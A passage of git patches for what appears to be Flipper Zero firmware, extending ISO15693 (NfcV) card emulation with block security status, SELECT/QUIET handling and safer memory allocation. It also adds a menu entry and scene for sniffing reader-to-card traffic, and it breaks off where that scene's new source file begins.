for(uint32_t pos = 0; pos < sequence->sequence_used; pos++) { From 19bcf0e44ab296bb60d5ecfdac2cb6a9b85761d0 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Mon, 16 Jan 2023 18:09:35 +0100 Subject: [PATCH 048/329] digital_signal: keep lock until all DMA transfers have finished --- lib/digital_signal/digital_signal.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/digital_signal/digital_signal.c b/lib/digital_signal/digital_signal.c index 91f5b2173..474e840a0 100644 --- a/lib/digital_signal/digital_signal.c +++ b/lib/digital_signal/digital_signal.c @@ -490,7 +490,6 @@ bool digital_sequence_send(DigitalSequence* sequence) { break; } } - FURI_CRITICAL_EXIT(); /* wait until last dma transaction was finished */ while(LL_DMA_GetDataLength(DMA1, LL_DMA_CHANNEL_2)) { @@ -498,6 +497,7 @@ bool digital_sequence_send(DigitalSequence* sequence) { digital_signal_stop_timer(); digital_signal_stop_dma(); + FURI_CRITICAL_EXIT(); /* undo previously prolonged edges */ for(uint32_t pos = 0; pos < sequence->signals_size; pos++) { From df7d6f6dda36e656c20a60c645db025e6383ba88 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Tue, 17 Jan 2023 18:03:56 +0100 Subject: [PATCH 049/329] exported NfcV routines --- firmware/targets/f7/api_symbols.csv | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 07b61050e..e13887109 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -2010,10 +2010,10 @@ Function,-,nfca_get_crc16,uint16_t,"uint8_t*, uint16_t" Function,-,nfca_signal_alloc,NfcaSignal*, Function,-,nfca_signal_encode,void,"NfcaSignal*, uint8_t*, uint16_t, uint8_t*" Function,-,nfca_signal_free,void,NfcaSignal* -Function,-,nfcv_emu_deinit,void,NfcVData* -Function,-,nfcv_emu_init,void,"FuriHalNfcDevData*, NfcVData*" -Function,-,nfcv_emu_loop,_Bool,"FuriHalNfcTxRxContext*, FuriHalNfcDevData*, NfcVData*, uint32_t" -Function,-,nfcv_emu_send,void,"FuriHalNfcTxRxContext*, NfcVData*, uint8_t*, uint8_t, NfcVSendFlags, uint32_t" +Function,+,nfcv_emu_deinit,void,NfcVData* +Function,+,nfcv_emu_init,void,"FuriHalNfcDevData*, NfcVData*" +Function,+,nfcv_emu_loop,_Bool,"FuriHalNfcTxRxContext*, FuriHalNfcDevData*, NfcVData*, uint32_t" +Function,+,nfcv_emu_send,void,"FuriHalNfcTxRxContext*, NfcVData*, uint8_t*, uint8_t, NfcVSendFlags, uint32_t" Function,-,nfcv_inventory,ReturnCode,uint8_t* Function,-,nfcv_read_blocks,ReturnCode,"NfcVReader*, NfcVData*" Function,-,nfcv_read_card,_Bool,"NfcVReader*, FuriHalNfcDevData*, NfcVData*" From b48fe4631a98a802b33a2ac04fb7585b4e60b136 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 20 Jan 2023 01:34:15 +0100 Subject: [PATCH 050/329] respond with block security status when option flag is set --- lib/nfc/protocols/nfcv.c | 24 ++++++++++++++++++------ 1 file changed, 18 insertions(+), 6 deletions(-) diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index cc7f4ad59..90752fe98 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -537,20 +537,32 @@ void nfcv_emu_handle_packet( nfcv_emu_send( tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); } else { - ctx->response_buffer[0] = ISO15693_NOERROR; - memcpy( - &ctx->response_buffer[1], - &nfcv_data->data[nfcv_data->block_size * block], - nfcv_data->block_size * blocks); + uint8_t buffer_pos = 0; + + ctx->response_buffer[buffer_pos++] = ISO15693_NOERROR; + + for(int current_block = 0; current_block < blocks; current_block++) { + /* prepend security status */ + if(ctx->flags & RFAL_NFCV_REQ_FLAG_OPTION) { + ctx->response_buffer[buffer_pos++] = 0; + } + /* then the data block */ + memcpy( + &ctx->response_buffer[buffer_pos], + &nfcv_data->data[nfcv_data->block_size * (block + current_block)], + nfcv_data->block_size); + buffer_pos += nfcv_data->block_size; + } nfcv_emu_send( tx_rx, nfcv_data, ctx->response_buffer, - 1 + nfcv_data->block_size * blocks, + buffer_pos, ctx->response_flags, ctx->send_time); } snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "READ BLOCK %d", block); + break; } From 4addd1fedc4599f573272478b48c925391fafe51 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Fri, 20 Jan 2023 23:29:34 +0100 Subject: [PATCH 051/329] increased maximum memory size to match standard added security status handling/load/save added SELECT/QUIET handling more fine grained allocation routines and checks fix memset sizes --- .../main/nfc/scenes/nfc_scene_nfc_data_info.c | 3 +- .../main/nfc/scenes/nfc_scene_nfcv_emulate.c | 7 +- lib/nfc/nfc_device.c | 20 +- lib/nfc/protocols/nfcv.c | 175 ++++++++++++++---- lib/nfc/protocols/nfcv.h | 24 ++- 5 files changed, 177 insertions(+), 52 deletions(-) diff --git a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c index a296fa577..80a5ba7e9 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c +++ b/applications/main/nfc/scenes/nfc_scene_nfc_data_info.c @@ -103,11 +103,12 @@ void nfc_scene_nfc_data_info_on_enter(void* context) { } for(int block = 0; block < maxBlocks; block++) { + const char* status = (nfcv_data->security_status[block] & 0x01) ? "(lck)" : ""; for(int pos = 0; pos < nfcv_data->block_size; pos++) { furi_string_cat_printf( temp_str, " %02X", nfcv_data->data[block * nfcv_data->block_size + pos]); } - furi_string_cat_printf(temp_str, "\n"); + furi_string_cat_printf(temp_str, " %s\n", status); } furi_string_cat_printf(temp_str, "\n"); diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c index 77d1d420d..ca10f5d6e 100644 --- a/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c +++ b/applications/main/nfc/scenes/nfc_scene_nfcv_emulate.c @@ -75,6 +75,7 @@ void nfc_scene_nfcv_emulate_on_enter(void* context) { TextBox* text_box = nfc->text_box; text_box_set_font(text_box, TextBoxFontHex); text_box_set_focus(text_box, TextBoxFocusEnd); + text_box_set_text(text_box, ""); furi_string_reset(nfc->text_box_store); // Set Widget state and view @@ -102,10 +103,10 @@ bool nfc_scene_nfcv_emulate_on_event(void* context, SceneManagerEvent event) { if(event.type == SceneManagerEventTypeCustom) { if(event.event == NfcCustomEventUpdateLog) { // Add data button to widget if data is received for the first time - if(!furi_string_size(nfc->text_box_store)) { - nfc_scene_nfcv_emulate_widget_config(nfc, true); - } if(strlen(nfcv_data->last_command) > 0) { + if(!furi_string_size(nfc->text_box_store)) { + nfc_scene_nfcv_emulate_widget_config(nfc, true); + } /* use the last n bytes from the log so there's enough space for the new log entry */ size_t maxSize = NFC_SCENE_EMULATE_NFCV_LOG_SIZE_MAX - (strlen(nfcv_data->last_command) + 1); diff --git a/lib/nfc/nfc_device.c b/lib/nfc/nfc_device.c index ce9a9c143..774e2b091 100644 --- a/lib/nfc/nfc_device.c +++ b/lib/nfc/nfc_device.c @@ -674,7 +674,7 @@ static bool nfc_device_save_slix_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex(file, "Password EAS", data->key_eas, sizeof(data->key_eas))) @@ -715,7 +715,7 @@ static bool nfc_device_save_slix_s_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix_s_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) @@ -763,7 +763,7 @@ static bool nfc_device_save_slix_l_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix_l_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex( @@ -811,7 +811,7 @@ static bool nfc_device_save_slix2_data(FlipperFormat* file, NfcDevice* dev) { bool nfc_device_load_slix2_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVSlixData* data = &dev->dev_data.nfcv_data.sub_data.slix; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0, sizeof(NfcVSlixData)); do { if(!flipper_format_read_hex(file, "Password Read", data->key_read, sizeof(data->key_read))) @@ -858,6 +858,9 @@ static bool nfc_device_save_nfcv_data(FlipperFormat* file, NfcDevice* dev) { if(!flipper_format_write_hex( file, "Data Content", data->data, data->block_num * data->block_size)) break; + if(!flipper_format_write_hex( + file, "Security Status", data->security_status, data->block_num)) + break; if(!flipper_format_write_comment_cstr( file, "Subtype of this card (0 = ISO15693, 1 = SLIX, 2 = SLIX-S, 3 = SLIX-L, 4 = SLIX2)")) @@ -892,7 +895,7 @@ bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { bool parsed = false; NfcVData* data = &dev->dev_data.nfcv_data; - memset(data, 0, sizeof(NfcVData)); + memset(data, 0x00, sizeof(NfcVData)); do { uint32_t temp_uint32 = 0; @@ -907,6 +910,13 @@ bool nfc_device_load_nfcv_data(FlipperFormat* file, NfcDevice* dev) { if(!flipper_format_read_hex( file, "Data Content", data->data, data->block_num * data->block_size)) break; + + /* optional, as added later */ + if(flipper_format_key_exist(file, "Security Status")) { + if(!flipper_format_read_hex( + file, "Security Status", data->security_status, data->block_num)) + break; + } if(!flipper_format_read_hex(file, "Subtype", &temp_value, 1)) break; data->sub_type = temp_value; diff --git a/lib/nfc/protocols/nfcv.c b/lib/nfc/protocols/nfcv.c index 90752fe98..dc37860fb 100644 --- a/lib/nfc/protocols/nfcv.c +++ b/lib/nfc/protocols/nfcv.c @@ -183,10 +183,18 @@ void nfcv_crc(uint8_t* data, uint32_t length) { void nfcv_emu_free_signals(NfcVEmuAirSignals* signals) { furi_assert(signals); - digital_signal_free(signals->nfcv_resp_one); - digital_signal_free(signals->nfcv_resp_zero); - digital_signal_free(signals->nfcv_resp_sof); - digital_signal_free(signals->nfcv_resp_eof); + if(signals->nfcv_resp_one) { + digital_signal_free(signals->nfcv_resp_one); + } + if(signals->nfcv_resp_zero) { + digital_signal_free(signals->nfcv_resp_zero); + } + if(signals->nfcv_resp_sof) { + digital_signal_free(signals->nfcv_resp_sof); + } + if(signals->nfcv_resp_eof) { + digital_signal_free(signals->nfcv_resp_eof); + } signals->nfcv_resp_one = NULL; signals->nfcv_resp_zero = NULL; signals->nfcv_resp_sof = NULL; @@ -197,28 +205,40 @@ bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ furi_assert(air); furi_assert(signals); - bool ret = true; + bool success = true; if(!signals->nfcv_resp_one) { /* logical one: unmodulated then 8 pulses */ signals->nfcv_resp_one = digital_signal_alloc( slowdown * (air->nfcv_resp_unmod->edge_cnt + 8 * air->nfcv_resp_pulse->edge_cnt)); + if(!signals->nfcv_resp_one) { + return false; + } for(size_t i = 0; i < slowdown; i++) { - ret &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_unmod); + success &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_unmod); } for(size_t i = 0; i < slowdown * 8; i++) { - ret &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_pulse); + success &= digital_signal_append(signals->nfcv_resp_one, air->nfcv_resp_pulse); + } + if(!success) { + return false; } } if(!signals->nfcv_resp_zero) { /* logical zero: 8 pulses then unmodulated */ signals->nfcv_resp_zero = digital_signal_alloc( slowdown * (8 * air->nfcv_resp_pulse->edge_cnt + air->nfcv_resp_unmod->edge_cnt)); + if(!signals->nfcv_resp_zero) { + return false; + } for(size_t i = 0; i < slowdown * 8; i++) { - ret &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_pulse); + success &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_pulse); } for(size_t i = 0; i < slowdown; i++) { - ret &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_unmod); + success &= digital_signal_append(signals->nfcv_resp_zero, air->nfcv_resp_unmod); + } + if(!success) { + return false; } } if(!signals->nfcv_resp_sof) { @@ -226,13 +246,19 @@ bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ signals->nfcv_resp_sof = digital_signal_alloc( slowdown * (3 * air->nfcv_resp_unmod->edge_cnt + 24 * air->nfcv_resp_pulse->edge_cnt) + signals->nfcv_resp_one->edge_cnt); + if(!signals->nfcv_resp_sof) { + return false; + } for(size_t i = 0; i < slowdown * 3; i++) { - ret &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_unmod); + success &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_unmod); } for(size_t i = 0; i < slowdown * 24; i++) { - ret &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_pulse); + success &= digital_signal_append(signals->nfcv_resp_sof, air->nfcv_resp_pulse); + } + success &= digital_signal_append(signals->nfcv_resp_sof, signals->nfcv_resp_one); + if(!success) { + return false; } - ret &= digital_signal_append(signals->nfcv_resp_sof, signals->nfcv_resp_one); } if(!signals->nfcv_resp_eof) { /* EOF: logic 0, 24 pulses, unmodulated */ @@ -240,29 +266,48 @@ bool nfcv_emu_alloc_signals(NfcVEmuAir* air, NfcVEmuAirSignals* signals, uint32_ signals->nfcv_resp_zero->edge_cnt + slowdown * (24 * air->nfcv_resp_pulse->edge_cnt + 3 * air->nfcv_resp_unmod->edge_cnt) + air->nfcv_resp_unmod->edge_cnt); - ret &= digital_signal_append(signals->nfcv_resp_eof, signals->nfcv_resp_zero); + if(!signals->nfcv_resp_eof) { + return false; + } + success &= digital_signal_append(signals->nfcv_resp_eof, signals->nfcv_resp_zero); for(size_t i = 0; i < slowdown * 24; i++) { - ret &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); + success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_pulse); } for(size_t i = 0; i < slowdown * 3; i++) { - ret &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); + success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); } /* add extra silence */ - ret &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); + success &= digital_signal_append(signals->nfcv_resp_eof, air->nfcv_resp_unmod); + if(!success) { + return false; + } } - return ret; + return success; } -void nfcv_emu_alloc(NfcVData* nfcv_data) { +bool nfcv_emu_alloc(NfcVData* nfcv_data) { furi_assert(nfcv_data); + if(!nfcv_data->frame) { + nfcv_data->frame = malloc(NFCV_FRAMESIZE_MAX); + if(!nfcv_data->frame) { + return false; + } + } + if(!nfcv_data->emu_air.nfcv_signal) { /* assuming max frame length is 255 bytes */ nfcv_data->emu_air.nfcv_signal = digital_sequence_alloc(8 * 255 + 2, &gpio_spi_r_mosi); + if(!nfcv_data->emu_air.nfcv_signal) { + return false; + } } if(!nfcv_data->emu_air.nfcv_resp_unmod) { /* unmodulated 256/fc or 1024/fc signal as building block */ nfcv_data->emu_air.nfcv_resp_unmod = digital_signal_alloc(4); + if(!nfcv_data->emu_air.nfcv_resp_unmod) { + return false; + } nfcv_data->emu_air.nfcv_resp_unmod->start_level = false; nfcv_data->emu_air.nfcv_resp_unmod->edge_timings[0] = (uint32_t)(NFCV_RESP_SUBC1_UNMOD_256 * DIGITAL_SIGNAL_UNIT_S); @@ -271,6 +316,9 @@ void nfcv_emu_alloc(NfcVData* nfcv_data) { if(!nfcv_data->emu_air.nfcv_resp_pulse) { /* modulated fc/32 or fc/8 pulse as building block */ nfcv_data->emu_air.nfcv_resp_pulse = digital_signal_alloc(4); + if(!nfcv_data->emu_air.nfcv_resp_pulse) { + return false; + } nfcv_data->emu_air.nfcv_resp_pulse->start_level = true; nfcv_data->emu_air.nfcv_resp_pulse->edge_timings[0] = (uint32_t)(NFCV_RESP_SUBC1_PULSE_32 * DIGITAL_SIGNAL_UNIT_S); @@ -280,12 +328,12 @@ void nfcv_emu_alloc(NfcVData* nfcv_data) { } bool success = true; - success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_high, 1); success &= nfcv_emu_alloc_signals(&nfcv_data->emu_air, &nfcv_data->emu_air.signals_low, 4); if(!success) { FURI_LOG_E(TAG, "Failed to allocate signals"); + return false; } digital_sequence_set_signal( @@ -320,16 +368,33 @@ void nfcv_emu_alloc(NfcVData* nfcv_data) { nfcv_data->emu_air.nfcv_signal, NFCV_SIG_LOW_EOF, nfcv_data->emu_air.signals_low.nfcv_resp_eof); + + return true; } void nfcv_emu_free(NfcVData* nfcv_data) { furi_assert(nfcv_data); - digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod); - digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); - digital_sequence_free(nfcv_data->emu_air.nfcv_signal); - pulse_reader_free(nfcv_data->emu_air.reader_signal); + if(nfcv_data->frame) { + free(nfcv_data->frame); + } + if(nfcv_data->emu_protocol_ctx) { + free(nfcv_data->emu_protocol_ctx); + } + if(nfcv_data->emu_air.nfcv_resp_unmod) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_unmod); + } + if(nfcv_data->emu_air.nfcv_resp_pulse) { + digital_signal_free(nfcv_data->emu_air.nfcv_resp_pulse); + } + if(nfcv_data->emu_air.nfcv_signal) { + digital_sequence_free(nfcv_data->emu_air.nfcv_signal); + } + if(nfcv_data->emu_air.reader_signal) { + pulse_reader_free(nfcv_data->emu_air.reader_signal); + } + nfcv_data->frame = NULL; nfcv_data->emu_air.nfcv_resp_unmod = NULL; nfcv_data->emu_air.nfcv_resp_pulse = NULL; nfcv_data->emu_air.nfcv_signal = NULL; @@ -428,6 +493,7 @@ void nfcv_emu_handle_packet( /* parse the frame data for the upcoming part 3 handling */ ctx->flags = nfcv_data->frame[0]; ctx->command = nfcv_data->frame[1]; + ctx->selected = (ctx->flags & RFAL_NFCV_REQ_FLAG_SELECT); ctx->addressed = !(ctx->flags & RFAL_NFCV_REQ_FLAG_INVENTORY) && (ctx->flags & RFAL_NFCV_REQ_FLAG_ADDRESS); ctx->advanced = (ctx->command >= 0xA0); @@ -474,6 +540,14 @@ void nfcv_emu_handle_packet( } } + if(ctx->selected && !nfcv_data->selected) { + FURI_LOG_D( + TAG, + "selected card shall execute command 0x%02X, but we were not selected", + ctx->command); + return; + } + /* then give control to the card subtype specific protocol filter */ if(ctx->emu_protocol_filter != NULL) { if(ctx->emu_protocol_filter(tx_rx, nfc_data, nfcv_data)) { @@ -487,28 +561,39 @@ void nfcv_emu_handle_packet( switch(ctx->command) { case ISO15693_INVENTORY: { - ctx->response_buffer[0] = ISO15693_NOERROR; - ctx->response_buffer[1] = nfcv_data->dsfid; - nfcv_revuidcpy(&ctx->response_buffer[2], nfc_data->uid); + if(!nfcv_data->quiet) { + ctx->response_buffer[0] = ISO15693_NOERROR; + ctx->response_buffer[1] = nfcv_data->dsfid; + nfcv_revuidcpy(&ctx->response_buffer[2], nfc_data->uid); - nfcv_emu_send( - tx_rx, nfcv_data, ctx->response_buffer, 10, ctx->response_flags, ctx->send_time); - snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY"); + nfcv_emu_send( + tx_rx, nfcv_data, ctx->response_buffer, 10, ctx->response_flags, ctx->send_time); + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY"); + } else { + snprintf( + nfcv_data->last_command, sizeof(nfcv_data->last_command), "INVENTORY (quiet)"); + } break; } case ISO15693_STAYQUIET: { snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "STAYQUIET"); + nfcv_data->quiet = true; break; } case ISO15693_LOCKBLOCK: { - snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCKBLOCK"); + uint8_t block = nfcv_data->frame[ctx->payload_offset]; + nfcv_data->security_status[block] |= 0x01; + nfcv_data->modified = true; + snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "LOCK BLOCK %d", block); break; } case ISO15693_SELECT: { ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_data->selected = true; + nfcv_data->quiet = false; nfcv_emu_send( tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "SELECT"); @@ -517,6 +602,7 @@ void nfcv_emu_handle_packet( case ISO15693_RESET_TO_READY: { ctx->response_buffer[0] = ISO15693_NOERROR; + nfcv_data->quiet = false; nfcv_emu_send( tx_rx, nfcv_data, ctx->response_buffer, 1, ctx->response_flags, ctx->send_time); snprintf(nfcv_data->last_command, sizeof(nfcv_data->last_command), "RESET_TO_READY"); @@ -541,15 +627,16 @@ void nfcv_emu_handle_packet( ctx->response_buffer[buffer_pos++] = ISO15693_NOERROR; - for(int current_block = 0; current_block < blocks; current_block++) { + for(int block_index = 0; block_index < blocks; block_index++) { + int block_current = block + block_index; /* prepend security status */ if(ctx->flags & RFAL_NFCV_REQ_FLAG_OPTION) { - ctx->response_buffer[buffer_pos++] = 0; + ctx->response_buffer[buffer_pos++] = nfcv_data->security_status[block_current]; } /* then the data block */ memcpy( &ctx->response_buffer[buffer_pos], - &nfcv_data->data[nfcv_data->block_size * (block + current_block)], + &nfcv_data->data[nfcv_data->block_size * block_current], nfcv_data->block_size); buffer_pos += nfcv_data->block_size; } @@ -649,7 +736,19 @@ void nfcv_emu_init(FuriHalNfcDevData* nfc_data, NfcVData* nfcv_data) { furi_assert(nfc_data); furi_assert(nfcv_data); - nfcv_emu_alloc(nfcv_data); + if(!nfcv_emu_alloc(nfcv_data)) { + FURI_LOG_E(TAG, "Failed to allocate structures"); + nfcv_data->ready = false; + return; + } + + strcpy(nfcv_data->last_command, ""); + nfcv_data->quiet = false; + nfcv_data->selected = false; + nfcv_data->modified = false; + + /* everything is initialized */ + nfcv_data->ready = true; rfal_platform_spi_acquire(); /* configure for transparent and passive mode */ @@ -752,6 +851,10 @@ bool nfcv_emu_loop( uint32_t timeout = timeout_ms * 1000; bool wait_for_pulse = false; + if(!nfcv_data->ready) { + return false; + } + #ifdef NFCV_DIAGNOSTIC_DUMPS uint8_t period_buffer[NFCV_DIAGNOSTIC_DUMP_SIZE]; uint32_t period_buffer_pos = 0; @@ -825,7 +928,7 @@ bool nfcv_emu_loop( periods_previous = 512 - (periods + 1); byte_value = (periods - 1) / 2; - if(frame_pos < NFCV_MAX_FRAME_SIZE) { + if(frame_pos < NFCV_FRAMESIZE_MAX) { nfcv_data->frame[frame_pos++] = (uint8_t)byte_value; } @@ -867,7 +970,7 @@ bool nfcv_emu_loop( } if(bits_received >= 8) { - if(frame_pos < NFCV_MAX_FRAME_SIZE) { + if(frame_pos < NFCV_FRAMESIZE_MAX) { nfcv_data->frame[frame_pos++] = (uint8_t)byte_value; } bits_received = 0; diff --git a/lib/nfc/protocols/nfcv.h b/lib/nfc/protocols/nfcv.h index 266b84ed8..3f8e78556 100644 --- a/lib/nfc/protocols/nfcv.h +++ b/lib/nfc/protocols/nfcv.h @@ -21,10 +21,15 @@ extern "C" { #define DIGITAL_SIGNAL_UNIT_S (100000000000.0f) #define DIGITAL_SIGNAL_UNIT_US (100000.0f) -#define NFCV_TOTAL_BLOCKS_MAX 256 -#define NFCV_BLOCK_SIZE 4 -#define NFCV_MAX_DUMP_SIZE (NFCV_BLOCK_SIZE * NFCV_TOTAL_BLOCKS_MAX) -#define NFCV_MAX_FRAME_SIZE 64 +/* ISO/IEC 15693-3:2019(E) 10.4.12: maximum number of blocks is defined as 256 */ +#define NFCV_BLOCKS_MAX 256 +/* ISO/IEC 15693-3:2019(E) 10.4.12: maximum size of blocks is defined as 32 */ +#define NFCV_BLOCKSIZE_MAX 32 +/* the resulting memory size a card can have */ +#define NFCV_MEMSIZE_MAX (NFCV_BLOCKS_MAX * NFCV_BLOCKSIZE_MAX) +/* ISO/IEC 15693-3:2019(E) 7.1b: standard allows up to 8192, the maxium frame length that we are expected to receive/send is less */ +#define NFCV_FRAMESIZE_MAX (1 + NFCV_MEMSIZE_MAX + NFCV_BLOCKS_MAX) + #define NFCV_LOG_STR_LEN 128 // #define NFCV_DIAGNOSTIC_DUMPS @@ -147,12 +152,13 @@ typedef bool (*NfcVEmuProtocolFilter)( typedef struct { uint8_t flags; /* ISO15693-3 flags of the header as specified */ uint8_t command; /* ISO15693-3 command at offset 1 as specified */ + bool selected; /* ISO15693-3 flags: selected frame */ bool addressed; /* ISO15693-3 flags: addressed frame */ bool advanced; /* ISO15693-3 command: advanced command */ uint8_t address_offset; /* ISO15693-3 offset of the address in frame, if addressed is set */ uint8_t payload_offset; /* ISO15693-3 offset of the payload in frame */ - uint8_t response_buffer[NFCV_MAX_FRAME_SIZE]; /* pre-allocated response buffer */ + uint8_t response_buffer[NFCV_FRAMESIZE_MAX]; /* pre-allocated response buffer */ NfcVSendFlags response_flags; /* flags to use when sending response */ uint32_t send_time; /* timestamp when to send the response */ @@ -166,9 +172,13 @@ typedef struct { uint8_t ic_ref; uint16_t block_num; uint8_t block_size; - uint8_t data[NFCV_MAX_DUMP_SIZE]; + uint8_t data[NFCV_MEMSIZE_MAX]; + uint8_t security_status[NFCV_BLOCKS_MAX]; + bool selected; + bool quiet; bool modified; + bool ready; /* specfic variant infos */ NfcVSubtype sub_type; @@ -178,7 +188,7 @@ typedef struct { /* precalced air level data */ NfcVEmuAir emu_air; - uint8_t frame[NFCV_MAX_FRAME_SIZE]; /* ISO15693-2 incoming raw data from air layer */ + uint8_t* frame; /* [NFCV_FRAMESIZE_MAX] ISO15693-2 incoming raw data from air layer */ uint8_t frame_length; /* ISO15693-2 length of incoming data */ uint32_t eof_timestamp; /* ISO15693-2 EOF timestamp, read from DWT->CYCCNT */ From 02e3a30f062591891a4bb6ef621d8bba5f785183 Mon Sep 17 00:00:00 2001 From: "g3gg0.de" Date: Sat, 21 Jan 2023 01:04:02 +0100 Subject: [PATCH 052/329] added "Listen NfcV Reader" to sniff traffic from reader to card --- .../main/nfc/scenes/nfc_scene_config.h | 1 + .../main/nfc/scenes/nfc_scene_extra_actions.c | 10 ++ .../main/nfc/scenes/nfc_scene_nfcv_sniff.c | 155 +++++++++++++++++ lib/nfc/nfc_device.c | 4 + lib/nfc/nfc_worker.c | 30 ++++ lib/nfc/nfc_worker.h | 2 + lib/nfc/protocols/nfcv.c | 163 +++++++++++++++++- lib/nfc/protocols/nfcv.h | 1 + 8 files changed, 365 insertions(+), 1 deletion(-) create mode 100644 applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c diff --git a/applications/main/nfc/scenes/nfc_scene_config.h b/applications/main/nfc/scenes/nfc_scene_config.h index 32ef104fe..303d355b7 100644 --- a/applications/main/nfc/scenes/nfc_scene_config.h +++ b/applications/main/nfc/scenes/nfc_scene_config.h @@ -19,6 +19,7 @@ ADD_SCENE(nfc, nfcv_unlock_menu, NfcVUnlockMenu) ADD_SCENE(nfc, nfcv_key_input, NfcVKeyInput) ADD_SCENE(nfc, nfcv_unlock, NfcVUnlock) ADD_SCENE(nfc, nfcv_emulate, NfcVEmulate) +ADD_SCENE(nfc, nfcv_sniff, NfcVSniff) ADD_SCENE(nfc, mf_ultralight_read_success, MfUltralightReadSuccess) ADD_SCENE(nfc, mf_ultralight_data, MfUltralightData) ADD_SCENE(nfc, mf_ultralight_menu, MfUltralightMenu) diff --git a/applications/main/nfc/scenes/nfc_scene_extra_actions.c b/applications/main/nfc/scenes/nfc_scene_extra_actions.c index 147c89757..3dc87d802 100644 --- a/applications/main/nfc/scenes/nfc_scene_extra_actions.c +++ b/applications/main/nfc/scenes/nfc_scene_extra_actions.c @@ -5,6 +5,7 @@ enum SubmenuIndex { SubmenuIndexMfClassicKeys, SubmenuIndexMfUltralightUnlock, SubmenuIndexNfcVUnlock, + SubmenuIndexNfcVSniff, }; void nfc_scene_extra_actions_submenu_callback(void* context, uint32_t index) { @@ -41,6 +42,12 @@ void nfc_scene_extra_actions_on_enter(void* context) { SubmenuIndexNfcVUnlock, nfc_scene_extra_actions_submenu_callback, nfc); + submenu_add_item( + submenu, + "Listen NfcV Reader", + SubmenuIndexNfcVSniff, + nfc_scene_extra_actions_submenu_callback, + nfc); view_dispatcher_switch_to_view(nfc->view_dispatcher, NfcViewMenu); } @@ -66,6 +73,9 @@ bool nfc_scene_extra_actions_on_event(void* context, SceneManagerEvent event) { } else if(event.event == SubmenuIndexNfcVUnlock) { scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVUnlockMenu); consumed = true; + } else if(event.event == SubmenuIndexNfcVSniff) { + scene_manager_next_scene(nfc->scene_manager, NfcSceneNfcVSniff); + consumed = true; } scene_manager_set_scene_state(nfc->scene_manager, NfcSceneExtraActions, event.event); } diff --git a/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c b/applications/main/nfc/scenes/nfc_scene_nfcv_sniff.c new file mode 100644 index 000000000..b2cb58d9f --- 